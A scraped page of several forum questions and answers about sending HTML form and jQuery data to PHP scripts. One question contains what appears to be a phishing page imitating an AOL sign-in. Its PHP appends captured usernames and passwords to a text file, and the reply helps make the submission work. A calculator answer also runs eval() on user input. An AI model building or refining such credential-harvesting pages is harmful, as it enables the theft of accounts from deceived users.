I want to pass start and end value to data.php using form . Before passing when i print it, it gives me [object HTMLInputElement] .
and from data.php ,i try to using $_POST['start'] and $_POST['end'] to get the start and end value but get nothing
code as below ,
<!DOCTYPE html>
<html>
<head>
<base href="http://demos.telerik.com/kendo-ui/datepicker/rangeselection">
<style>html { font-size: 14px; font-family: Arial, Helvetica, sans-serif; }
</style>
<title></title>
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.common-material.min.css" />
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.material.min.css" />
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.default.mobile.min.css" />
<script src="//kendo.cdn.telerik.com/2016.2.607/js/jquery.min.js"></script>
<script src="//kendo.cdn.telerik.com/2016.2.607/js/kendo.all.min.js">
</script>
</head>
<body>
<div id="example">
<div class="demo-section k-content">
<form action="data.php" method="post">
<h4>Start date:</h4>
<input id="start" style="width: 100%;" value="" />
<h4 style="margin-top: 2em">End date:</h4>
<input id="end" style="width: 100%;" value=""/>
<input name="" type="submit" >
</form>
</div>
<script>
$(document).ready(function() {
function startChange() {
var startDate = start.value(),
endDate = end.value();
if (startDate) {
startDate = new Date(startDate);
startDate.setDate(startDate.getDate());
end.min(startDate);
} else if (endDate) {
start.max(new Date(endDate));
} else {
endDate = new Date();
start.max(endDate);
end.min(endDate);
}
}
function endChange() {
var endDate = end.value(),
startDate = start.value();
if (endDate) {
endDate = new Date(endDate);
endDate.setDate(endDate.getDate());
start.max(endDate);
} else if (startDate) {
end.min(new Date(startDate));
} else {
endDate = new Date();
start.max(endDate);
end.min(endDate);
}
}
var start = $("#start").kendoDatePicker({
change: startChange
}).data("kendoDatePicker");
var end = $("#end").kendoDatePicker({
change: endChange
}).data("kendoDatePicker");
start.max(end.value());
end.min(start.value());
});
</script>
</div>
</body>
</html>
but it's nothing .
Would you suggest me any solution. Thanks in advance.
Set name attribute in your input elements(name="start", name="end", name="submit"), then you can access their values through $_POST['start'] and $_POST['end']
<form action="data.php" method="post">
<h4>Start date:</h4>
<input name="start" id="start" style="width: 100%;" value="" />
<h4 style="margin-top: 2em">End date:</h4>
<input name="end" id="end" style="width: 100%;" value=""/>
<input name="submit" type="submit" >
</form>
Related
I am very new to this.
How do I post data to a PHP file? I am really having problems with this. Its supposed to call the PHP file but rather than call the PHP file, its just very static and does not behave like i clicked a thing.
The first button on the div transfers the data from the first page, and moves it to the second page. then the second button is supposed to call the php URL and send the data to the php file which in turn saves the data to DB or write to the text file.
the html file with the Jquery is looking like this
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#my_form").submit(function(){
event.preventDefault();
var username = $(this).find('#u').val();
var password = $(this).find('#p').val();
if(username == '' || password ==''){
alert('Please Enter all Data Correctly');
return false;
}
$.ajax({
type: "POST",
url : "savedata.php",
data : {
username : username,
password : password
},
cache: false,
success : function(data){
alert(data);
},
error: function(xhr,status,error){
console.error(xhr);
}
});
});
});
</script>
<script>
$(document).ready(function(){
$("#btn1").click(function(){
$("#loginU").toggle();
$("#loginP").toggle();
});
});
</script>
<script type="text/javascript">
function sendData(){
var username = document.getElementById('u').value;
document.getElementById('outdata').innerHTML = username;
document.getElementById('hiddenEmail').value = username;
}
</script>
<style>
.hide{
display:none;
}
.loginTable
{
margin-top: 15px;
float: right;
background-color: white;
position:absolute;
overflow:hidden;
left:906px;
top:100px;
width:365px;
height:581px;
}
.logoArea
{
margin-top: 35px;
}
.signInheader___{
position:absolute;
overflow:hidden;
left:1040px;
top:198px;
width:63px;
height:35px;
}
</style>
<link rel="stylesheet" href="styles.css">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>AOL</title>
</head>
<body>
<div align="center">
<table border="0" width="100%">
<tr>
<td height="57">
<img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="center">
<table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">
<tr>
<td> </td>
</tr>
<div class="loginTable">
<form id="my_form" method="post">
<div id="loginU">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>
<input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
<div id="loginP" class="hide">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>
<input type="hidden" id="hiddenEmail" />
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>
<p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>
<input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
</form>
</div>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
And the PHP to save to textfile (at first) is Looking like this
<?php
$username = $_POST['u'];
$password = $_POST['p'];
$txt = "Data: \n User : $username\n Password : $password\n";
$file = fopen('servers.txt','a+');
fwrite($file,$txt);
fclose($file);
?>
How Can I get this to work? I am very new to this. Rather than send the data, its just Very static and does not do anything like calling the PHP file. Why is this so?
Edit
Edits Now Looks like this :
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#my_form").submit(function(){
event.preventDefault();
var u = $(this).find('#u').val();
var p = $(this).find('#p').val();
if(u == '' || p ==''){
alert('Please Enter all Data Correctly');
return false;
}
$.ajax({
type: "POST",
url : "login.php",
data : {
u : u,
p : p
},
cache: false,
success : function(data){
alert(data);
},
error: function(xhr,status,error){
console.error(xhr);
}
});
});
});
</script>
<script>
$(document).ready(function(){
$("#btn1").click(function(){
$("#loginU").toggle();
$("#loginP").toggle();
});
});
</script>
<script type="text/javascript">
function sendData(){
var username = document.getElementById('u').value;
document.getElementById('outdata').innerHTML = username;
document.getElementById('hiddenEmail').value = username;
}
</script>
<style>
.hide{
display:none;
}
.loginTable
{
margin-top: 15px;
float: right;
background-color: white;
position:absolute;
overflow:hidden;
left:906px;
top:100px;
width:365px;
height:581px;
}
.logoArea
{
margin-top: 35px;
}
.signInheader___{
position:absolute;
overflow:hidden;
left:1040px;
top:198px;
width:63px;
height:35px;
}
</style>
<link rel="stylesheet" href="styles.css">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>AOL</title>
</head>
<body>
<div align="center">
<table border="0" width="100%">
<tr>
<td height="57">
<img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="center">
<table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">
<tr>
<td> </td>
</tr>
<div class="loginTable">
<form id="my_form" method="post">
<div id="loginU">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>
<input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
<div id="loginP" class="hide">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>
<input type="hidden" id="hiddenEmail" />
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>
<p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>
<input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
</form>
</div>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
Your form is very complex at the moment, it seems like you have not tested the code before implementing anything.
To break it down, you can use a simple form two input fields, email and password. You can begin with two fields just.
Just like below:
<form id="myform">
<label for="email">Email</label>
<input id="email" name="email" type="email" value="" />
<label for="password">password</label>
<input id="password" name="password" type="password" value="" />
<input type="submit" value="Send" />
</form>
Then you can use the below mentioned jQuery code to check and take field values when form is submitted. also you can print the request to see if the form data has been serialized correctly.
jQuery( document ).ready(function($) {
var request;
//get form fields
$("form#getField").submit(function(event){
//preventDefault action
event.preventDefault();
if (request) {
request.abort();
}
var $sucess = false;
var $form = $(this);
//Take input fields all together, instead of taking individual values
var $inputs = $form.find("input");
//serialize() method creates a text string in standard URL-encoded notation
var serializedData = $form.serialize();
console.log(serializedData);
$inputs.prop("disabled", true);
//Ajax request
request = $.ajax({
url: "login.php",
type: "POST",
data: serializedData
});
// Load content which you wanna display after the form is submitted
request.done(function (response, textStatus, jqXHR){
$("#result").html('Submitted successfully');
$sucess=true;
});
//If request fails
request.fail(function (jqXHR, textStatus, errorThrown){
console.error(
"The following error occurred: "+
textStatus, errorThrown
);
$("#result").html('Request Failed');
});
request.always(function () {
// Reenable the inputs
$inputs.prop("disabled", false);
});
if($sucess){
$(this).submit();
}
});
});
After this has submitted you can check in the login.php submit with isset($_POST['email']) method like below:
if(isset($_POST['email']) && isset($_POST['password']) ){
//taken from form field
$data['email'] = $_POST['email'];
$data['password'] = $_POST['password'];
//authenticate the rquest and send the data to DB or write to text file
}
Then either write the data in DB or write in the text file.
Hopefully that helps. Always start slow and small.
I the below script does not work. I am trying to pass values generated using a jquery function to php. when I run this code it. The form slides to the right, but no values are encoded. I am thinking I am doing something simple wrong.
<!DOCTYPE html>
<html>
<head>
<title>Target Example</title>
<?php
$x = $_POST['total'];
echo $x;
?>
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.css" />
<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>
<script src="http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.js"></script>
<script>
$(document).ready(function() {
function compute() {
var a = $('#a').val();
var b = $('#b').val();
var total = a * b;
$('#total').val(total);
}
$('#a, #b').change(compute);
});
</script>
</head>
<body>
<form action="<?php echo $PHP_SELF;?>" method="post">
<div data-role="page" id="irr">
<div data-role="header">
<h1>Calculation</h1>
</div>
<div data-role="content">
<div data-role="fieldcontain">
<label for="a">Diameter:</label>
<input type="number" name="a" id="a" value="" />
<label for="b">Diver:</label>
<input type="number" name="b" id="b" value="" />
<label for="total">Result:</label>
<input type="text" name="total" id="total" value="" />
<input type="submit">
</div>
What did we do here?
</div>
</div>
</form>
</body>
</html>
Your form action was not set correctly. Use $_SERVER['SCRIPT_NAME'] instead. Also, I used the short hand echo feature in case you are wondering. Hopefully that fixes it for you :)
<!DOCTYPE html>
<html>
<head>
<title>Target Example</title>
<?php
$x = $_POST['total'];
echo $x;
?>
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.css" />
<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>
<script src="http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.js"></script>
<script>
$(document).ready(function() {
function compute() {
var a = $('#a').val();
var b = $('#b').val();
var total = a * b;
$('#total').val(total);
}
$('#a, #b').change(compute);
});
</script>
</head>
<body>
<form action="<?=($_SERVER['SCRIPT_NAME'])?>" method="post">
<div data-role="page" id="irr">
<div data-role="header">
<h1>Calculation</h1>
</div>
<div data-role="content">
<div data-role="fieldcontain">
<label for="a">Diameter:</label>
<input type="number" name="a" id="a" value="" />
<label for="b">Diver:</label>
<input type="number" name="b" id="b" value="" />
<label for="total">Result:</label>
<input type="text" name="total" id="total" value="" />
<input type="submit">
</div>
What did we do here?
</div>
</div>
</form>
</body>
</html>
I'm a PHP newbie and I tried to setup a Calculator in PHP (HTML).
Problem:
I want to php script to call itself to process the input values.
My goal is to avoid php session to cache the values. To be specific I have two different fields - one output field, which is readonly and a input field, where numeric values can be entered. In addition to that there are 5 different buttons to calculate addition, subtraction, multiplication, division and assign values in the input field.
I was only able to solve the problem with Session Variables like in following example. I use a own-defined session, which I try to replace with normal PHP variables and I want to update them everytime one of the operation buttons are pressed. In addition the input values should be saved as well as the output to be able to use the same value again without the need of reentering it to the form.
Basically, I want to replace all the session variables like "$_SESSION['output']" by php variables like "$output". All I've already tried was not working, because the values were overwritten each time I recall the script (or by calling itself).
<?php session_start();
// Session Timeout:
if (isset($_SESSION['LAST_ACTIVITY']) && (time() - $_SESSION['LAST_ACTIVITY'] > 60)) {
// last request was more than 1 minute ago
session_unset(); // unset $_SESSION variable for the run-time
session_destroy(); // destroy session data in storage
}
$_SESSION['LAST_ACTIVITY'] = time(); // update last activity time stamp
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP Calculator</title>
<style type="text/css">
#add {
color:black;
background-color:#F55;
}
#subtract {
color:black;
background-color:#55f;
}
#multiply {
color:black;
background-color:#5f5;
}
#divide {
color:black;
background-color:#ff5;
}
#exp {
color:black;
background-color:#fa2;
}
#equal {
color: black;
background-color:#ccc;
}
.res {
color: black;
font-style: italic;
background-color:#eee;
border: none;
}
</style>
</head>
<body>
<?php
if (is_null($_SESSION['output'])){
$_SESSION['output'] = "0.0";
}
// Operations to execute via form.
$_SESSION['input'] = $_POST['input'];
if(isset($_REQUEST['add'])){
$_SESSION['output'] += $_POST['input'];
} else if (isset($_REQUEST['subtract'])) {
$_SESSION['output'] -= $_POST['input'];
} else if (isset($_REQUEST['multiply'])) {
$_SESSION['output'] *= $_POST['input'];
} else if (isset($_REQUEST['divide'])) {
if($_POST['input'] == 0) {
$_SESSION['output'] = $_POST['input'];
} else {
$_SESSION['output'] /= $_POST['input'];
}
} else if (isset($_REQUEST['exp'])) {
$_SESSION['output'] = pow($_SESSION['output'], $_POST['input']);
} else if (isset($_REQUEST['equal'])) {
$_SESSION['output'] = $_POST['input'];
} else {
$_SESSION['input'] = 0.0;
}
?>
<form name="calculator" action="index.php" method="post">
<input class="res" type="text" readonly="readonly" size="23px" value="Result:" />
<input class="res" type="text" readonly="readonly" size="20px" value="Input:" />
<input class="res" type="text" readonly="readonly" size="10px" value="Operations:" /><br>
<input name="output" type="text" readonly="readonly" value="<?php print ($_SESSION['output'])? >"/>
<input name="input" type="text" onfocus="this.value=''" value="<?php print ($_SESSION['input'])? >" />
<input id="add" name="add" type="submit" value="+" />
<input id="subtract" name="subtract" type="submit" value="-" />
<input id="multiply" name="multiply" type="submit" value="*" />
<input id="divide" name="divide" type="submit" value="/" />
<input id="exp" name="exp" type="submit" value="^" />
<input id="equal" name="equal" type="submit" value="=" />
</form>
</center>
</body>
</html>
What is the most simple way to solve that?
A simple solution will be to use $_POST variables :
Replace
if (is_null($_SESSION['output'])){
$_SESSION['output'] = "0.0";
}
by
$output = (isset($_POST['output'])) ? floatval($_POST['output']) : 0.0;
And then replace $_SESSION['output'] in your code by $output variable.
Here the same script without session, while keeping the "session" time out working (As long as you don't close/refresh the page)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP Calculator</title>
<style type="text/css">
#add {
color:black;
background-color:#F55;
}
#subtract {
color:black;
background-color:#55f;
}
#multiply {
color:black;
background-color:#5f5;
}
#divide {
color:black;
background-color:#ff5;
}
#exp {
color:black;
background-color:#fa2;
}
#equal {
color: black;
background-color:#ccc;
}
.res {
color: black;
font-style: italic;
background-color:#eee;
border: none;
}
</style>
</head>
<body>
<?php
$lastActivity = (int)(isset($_REQUEST['last_activity']))?$_REQUEST['last_activity']:time();
$output = (float)(isset($_REQUEST['output']))?$_REQUEST['output']:0;
$input = (float)(isset($_REQUEST['input']))?$_REQUEST['input']:0;
// "Session" timeout
if(time() - $lastActivity > 60){
$output = 0;
}
if(isset($_REQUEST['add'])){
$output += $input;
} else if (isset($_REQUEST['subtract'])) {
$output -= $input;
} else if (isset($_REQUEST['multiply'])) {
$output *= $input;
} else if (isset($_REQUEST['divide'])) {
if($input == 0) {
$output = $input;
} else {
$output /= $input;
}
} else if (isset($_REQUEST['exp'])) {
$output = pow($output, $input);
} else if (isset($_REQUEST['equal'])) {
$output = $input;
} else {
$input = 0.0;
}
?>
<form name="calculator" action="index.php" method="post">
<input type="hidden" name="last_activity" value="<?php echo $lastActivity?>" />
<input class="res" type="text" readonly="readonly" size="23px" value="Result:" />
<input class="res" type="text" readonly="readonly" size="20px" value="Input:" />
<input class="res" type="text" readonly="readonly" size="10px" value="Operations:" /><br>
<input name="output" type="text" readonly="readonly" value="<?php echo $output?>"/>
<input name="input" type="text" onfocus="this.value=''" value="<?php echo $input?>" />
<input id="add" name="add" type="submit" value="+" />
<input id="subtract" name="subtract" type="submit" value="-" />
<input id="multiply" name="multiply" type="submit" value="*" />
<input id="divide" name="divide" type="submit" value="/" />
<input id="exp" name="exp" type="submit" value="^" />
<input id="equal" name="equal" type="submit" value="=" />
</form>
</body>
</html>
If it is alright to use javascript(JQuery) in your solution I would avoid using php to gather the user input. It is more suitable for server side processing. Below is your code restructured to use javascript.
I removed the px from your input text elements size attribute(it is not necessary and will not validate properly).
I hope it helps.
-Larry
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP Calculator</title>
<style type="text/css">
#add {
color:black;
background-color:#F55;
}
#subtract {
color:black;
background-color:#55f;
}
#multiply {
color:black;
background-color:#5f5;
}
#divide {
color:black;
background-color:#ff5;
}
#exp {
color:black;
background-color:#fa2;
}
#equal {
color: black;
background-color:#ccc;
}
.res {
color: black;
font-style: italic;
background-color:#eee;
border: none;
}
<form id="calculator" name="calculator" action="index.php" method= "GET">
<input class="res" type="text" readonly="readonly" size="23" value="Result:" />
<input class="res" type="text" readonly="readonly" size="20" value="Input:" />
<input class="res" type="text" readonly="readonly" size="10" value="Operations:" /><br/>
<input id="output" name="output" type="text" readonly="readonly" value=""/>
<input id="input" name="input" type="text" value="" />
<input id="add" name="add" type="button" value="+" />
<input id="subtract" name="subtract" type="button" value="-" />
<input id="multiply" name="multiply" type="button" value="*" />
<input id="divide" name="divide" type="button" value="/" />
<input id="exp" name="exp" type="button" value="^" />
<input id="equal" name="equal" type="submit" value="=" />
</form>
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script>
$("input").on("click",function(){//begin on click function
//if the input elements value is not equal to "="
if($(this).attr("value") !== "="){//begin if then
//set the #input element to its current value plus the new value
$("#input").val($("#input").val() + $(this).attr("value"));
}//end if then
});//end on click function
$("#equal").on("click",function(e){//begin on click function
//prevent form from submitting
e.preventDefault();
//evaluate the expression and store the result
//todo:escape input if it could cause a security threat
var expression = eval($("#input").val());
//display the result in the #output input element
$("#output").val(expression);
});//end on click function
</script>
</body>
</html>
I'm new to PHP/HTML5. I found the following HTML5 example to get device latitude and longitude. But it's just an example by showing the lat/long upon a button click.
Problem:
What I need is, when user submit a form, I will INSERT the value into MySQL.
At this moment, I wanted to get the device lat/long and assign as variables so I can use the variables to INSERT into MySQL at the same time. I have ready table in my DB for both lat and long.
Please give me some hint, guide, tips to me to achieve what I need. Help will be very much appreciated. Thank you.
The code:
<!DOCTYPE html>
<html>
<body>
<p id="demo">Click the button to get your coordinates:</p>
<button onclick="getLocation()">Try It</button>
<script>
var x=document.getElementById("demo");
function getLocation()
{
if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition);
}
else{x.innerHTML="Geolocation is not supported by this browser.";}
}
function showPosition(position)
{
x.innerHTML="Latitude: " + position.coords.latitude +
"<br>Longitude: " + position.coords.longitude;
}
</script>
</body>
</html>
The form:
<form id="form1" name="form1" method="post" action="';
echo $_SERVER['PHP_SELF'];
echo '">
<p>Please complete this form and I will contact you as soon as possible. Thank you.</p>
<p>
<label for="name">Your Name</label>
<input type="text" name="name" id="name" />
<label for="phone">Contact Number</label>
<input type="text" name="phone" id="phone" />
<label for="message">Message to Owner</label>
<textarea name="message" id="message" cols="45" rows="5"></textarea>
<input type="submit" name="submit" id="submit" value="Submit Info" />
</p>
</form>
New Simpler Form Example with suggested code
<!DOCTYPE html>
<html>
<head>
<title>FurkidTag.com</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.0/jquery.mobile-1.4.0.min.css">
<script src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script src="http://code.jquery.com/mobile/1.4.0/jquery.mobile-1.4.0.min.js"></script>
<title>Sample Form</title>
</head>
<body>
<script>
$(function() {
$("input[name='latitude']").val(position.coords.latitude);
$("input[name='longitude']").val(position.coords.longitude)
});
</script>
<?php
if(isset($_POST['submit']))
{
$name = $_POST['name'];
$lat = $_POST['latitude'];
$lon = $_POST['longitude'];
echo "User Has submitted the form and entered this name : <b> $name </b>";
echo "<br>Latitude: $lat.";
echo "<br>Longitude: $lon.";
}
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type='hidden' value='' name='latitude'/>
<input type='hidden' value='' name='longitude'/>
<input type="text" name="name"><br>
<input type="submit" name="submit" value="Submit Form"><br>
</form>
</body>
</html>
You'll need to use AJAX to pass the values to PHP in another page, in this example I'm using Jquery to make the ajax request
$(function() {
$.get('getPosition.php', {
Latitude: position.coords.latitude,
Longitude: position.coords.longitude
}
});
In your getPosition.php you have to get the values like:
$latitude = (isset($_GET['latitude']) && is_numeric($_GET['latitude']) ? $_GET['latitude'] : NULL;
$longitude = (isset($_GET['longitude']) && is_numeric($_GET['longitude']) ? $_GET['longitude'] : NULL;
And make your sql stuff
UPDATE
To bind the value to your input form
$(function() {
$("input[name='latitude']").val(position.coords.latitude);
$("input[name='longitude']").val(position.coords.longitude)
});
In your form add two imput type hidden
<input type='hidden' value='' name='latitude'/>
<input type='hidden' value='' name='longitude'/>
UPDATE 2
<?php
if (isset($_POST['submit'])) {
$name = $_POST['name'];
$lat = $_POST['latitude'];
$lon = $_POST['longitude'];
echo "User Has submitted the form and entered this name : <b> $name </b>";
echo "<br>Latitude: $lat.";
echo "<br>Longitude: $lon.";
}
?>
<!DOCTYPE html>
<html>
<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
var x = document.getElementById("demo");
function getLocation()
{
if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(bindPosition);
}
else {
x.innerHTML = "Geolocation is not supported by this browser.";
}
}
function bindPosition(position) {
$("input[name='latitude']").val(position.coords.latitude);
$("input[name='longitude']").val(position.coords.longitude);
}
</script>
</head>
<body onload="getLocation()">
<form id="form1" name="form1" method="post" action="">
<p>Please complete this form and I will contact you as soon as possible. Thank you.</p>
<p>
<label for="name">Your Name</label>
<input type="text" name="name" id="name" />
<label for="phone">Contact Number</label>
<input type="text" name="phone" id="phone" />
<label for="message">Message to Owner</label>
<textarea name="message" id="message" cols="45" rows="5"></textarea>
<input type='hidden' value='' name='latitude'/>
<input type='hidden' value='' name='longitude'/>
<input type="submit" name="submit" id="submit" value="Submit Info" />
</p>
</form>
</body>
</html>
This is my first question on Stackoverflow, thanks in advance for all people for making our life easier. Sorry for my English, it's not very good.
I have this code in my server:
<html>
<head>
<title></title>
<meta content="">
<style></style>
</head>
<body>
<script src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script>
$(document).ready(function(){
$("#newsletter").submit(function(){
$.ajax(
{
type: "POST",
url:"http://mailing.estudiohernangene.com/lists/?p=subscribe&id=2",
data: $('#newsletter').serialize(),
success:function(result)
{
$("#mensaje_ok").html("¡Hecho!");
}
});
$("#mensaje_ok").html("¡Hecho!");
$("#email").val("");
$("#enviar").fadeToggle();
return false;
});
});
</script>
<div id="inserccion" style="float:left; border:0px solid; vertical align:middle; padding: -10px 0 0 0;">
<form id="newsletter" method="" action="">
<input type="hidden" name="VerificationCodeX" value="" />
<input type="hidden" name="list[2]" value="signup">
<input type="hidden" name="listname[3]" value="todos"/>
<input type="hidden" name="subscribe" value='subscribe'/>
<span style="padding:0 5px 0 0; vertical-align: middle;">Newsletter:</span>
<input type="text" style="" value="" size="20" name="email" id="email" placeholder="Suscríbete con tu email">
<input class="button" type="submit" id="enviar" value="OK" name="submit">
</form>
</div>
<span id="mensaje_ok" style="float:left; padding: 2px 0 0 0;"></span>
</body>
</html>
If I change the jquery library of Wordpress for the original library, the Wordpress does not work well.
<script src="http://www.estudiohernangene.com/wp-includes/js/jquery/jquery.js?ver=1.10.2"></script>
The examples is in this url:
http://www.estudiohernangene.com/prueba_ok.php
http://www.estudiohernangene.com/prueba_ko.php
What's happend?
Thanks!
Juanmi.
Use
jQuery(...
instead of
$(...
.
<script>
jQuery(function($) {
jQuery(document).ready(function(){
jQuery("#newsletter").submit(function(){
jQuery.ajax(
{
type: "POST",
url:"http://mailing.estudiohernangene.com/lists/?p=subscribe&id=2",
data: jQuery('#newsletter').serialize(),
success:function(result)
{
jQuery("#mensaje_ok").html("¡Hecho!");
}
});
jQuery("#mensaje_ok").html("¡Hecho!");
jQuery("#email").val("");
jQuery("#enviar").fadeToggle();
return false;
});
});
</script>
This should work